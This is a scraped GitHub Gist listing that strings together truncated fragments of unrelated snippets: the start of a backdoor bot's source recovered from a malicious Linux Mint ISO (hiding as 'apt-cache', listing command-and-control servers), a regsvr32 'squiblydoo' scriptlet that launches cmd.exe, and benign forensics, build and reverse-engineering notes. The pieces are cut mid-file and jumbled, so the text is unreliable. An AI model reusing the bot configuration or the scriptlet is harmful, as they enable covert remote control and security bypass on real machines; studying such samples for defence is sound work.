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@schrodyn
schrodyn / man.cy
Created February 22, 2016 13:41 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
#Security log
#============
####
#4624 - Logon & Logoff events successful
#4625 - Logon unsucceful
####
# Get usernames
Get-WinEvent -path .\Security.evtx | Where {$_.id -eq "4624"} | Foreach {([xml]$_.ToXml()).GetElementsByTagName("Data").ItemOf(5)}| Select -ExpandProperty "#text" -Unique
# Get domains
@schrodyn
schrodyn / logparser.ps1
Last active June 3, 2023 09:24 — forked from exp0se/logparser.ps1
Logparser log parsing
# Logparser
# http://www.leeholmes.com/blog/2008/07/30/workaround-the-os-handles-position-is-not-what-filestream-expected/
$bindingFlags = [Reflection.BindingFlags] "Instance,NonPublic,GetField"
$objectRef = $host.GetType().GetField("externalHostRef", $bindingFlags).GetValue($host)
$bindingFlags = [Reflection.BindingFlags] "Instance,NonPublic,GetProperty"
$consoleHost = $objectRef.GetType().GetProperty("Value", $bindingFlags).GetValue($objectRef, @())
[void] $consoleHost.GetType().GetProperty("IsStandardOutputRedirected", $bindingFlags).GetValue($consoleHost, @())
@schrodyn
schrodyn / Backdoor-Minimalist.sct
Created April 23, 2016 08:28
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
@echo on & @setlocal enableextensions
@echo =========================
@echo Turn off the time service
net stop w32time
@echo ======================================================================
@echo Set the SNTP (Simple Network Time Protocol) source for the time server
w32tm /config /syncfromflags:manual /manualpeerlist:"0.it.pool.ntp.org 1.it.pool.ntp.org 2.it.pool.ntp.org 3.it.pool.ntp.org"
@echo =============================================
@echo ... and then turn on the time service back on
net start w32time
apt-get install python2.7-dev python2.7
apt-get build-dep gdb
apt-get source gdb
sed -i -E "s|python3|/usr/bin/python2.7|" debian/rules
dpkg-buildpackage -uc -us -j8
dpkg-install ../*.deb
# radare2
load without any analysis (file header at offset 0x0): r2 -n /path/to/file
analyze all: aa
list functions: afl
seek to function: s sym.main
open project: Po <name>
save project: Ps <name>
@schrodyn
schrodyn / xor.py
Created August 13, 2016 13:29 — forked from revolunet/xor.py
Simple python XOR encrypt/decrypt
#
# NB : this is not secure
# from http://code.activestate.com/recipes/266586-simple-xor-keyword-encryption/
# added base64 encoding for simple querystring :)
#
def xor_crypt_string(data, key='awesomepassword', encode=False, decode=False):
from itertools import izip, cycle
import base64
if decode:
@schrodyn
schrodyn / gist:f027f973b71284322f9e870ffd8f1eb4
Created August 17, 2016 15:25 — forked from cdown/gist:1163649
Bash urlencode and urldecode
urlencode() {
# urlencode <string>
old_lc_collate=$LC_COLLATE
LC_COLLATE=C
local length="${#1}"
for (( i = 0; i < length; i++ )); do
local c="${1:i:1}"
case $c in
[a-zA-Z0-9.~_-]) printf "$c" ;;
@schrodyn
schrodyn / yara_fn.py
Created August 19, 2016 06:20 — forked from williballenthin/yara_fn.py
generate a yara rule that matches the basic blocks of the current function in IDA Pro
'''
IDAPython script that generates a YARA rule to match against the
basic blocks of the current function. It masks out relocation bytes
and ignores jump instructions (given that we're already trying to
match compiler-specific bytes, this is of arguable benefit).
If python-yara is installed, the IDAPython script also validates that
the generated rule matches at least one segment in the current file.
author: Willi Ballenthin <william.ballenthin@fireeye.com>